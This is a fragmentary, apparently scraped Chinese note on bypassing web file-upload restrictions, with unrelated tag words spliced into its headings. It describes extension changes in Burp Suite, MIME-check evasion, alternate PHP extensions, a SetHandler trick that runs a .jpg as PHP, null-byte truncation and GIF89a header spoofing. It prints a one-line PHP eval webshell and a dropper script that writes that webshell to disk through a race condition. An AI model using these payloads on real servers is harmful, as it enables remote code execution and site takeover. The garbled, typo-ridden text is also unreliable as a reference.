目录javascript
两种校验方式php
绕过方法html
用bp抓包后直接改后缀名java
MIME类型在html文件中使用content-type
属性表示linux
if($_FILES["upfile"]["type"]!="image/gif"){ echo "只容许上传图片"; exit; }
php、php三、php四、php五、php七、pht、phtml、phps
/etc/apache2/apache2.conf
,默认是NONE,须要为ALL<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMacth>
name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00) type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,因此判断为jpg if(type==jpg) SaveFileToPath(UploadPath.name,name)在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改为0x00
绕过方法
在恶意脚本前加上容许上传文件的头标识
web
GIF89a <?php phpinfo(); ?>
<?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?>
用bp同时上传和访问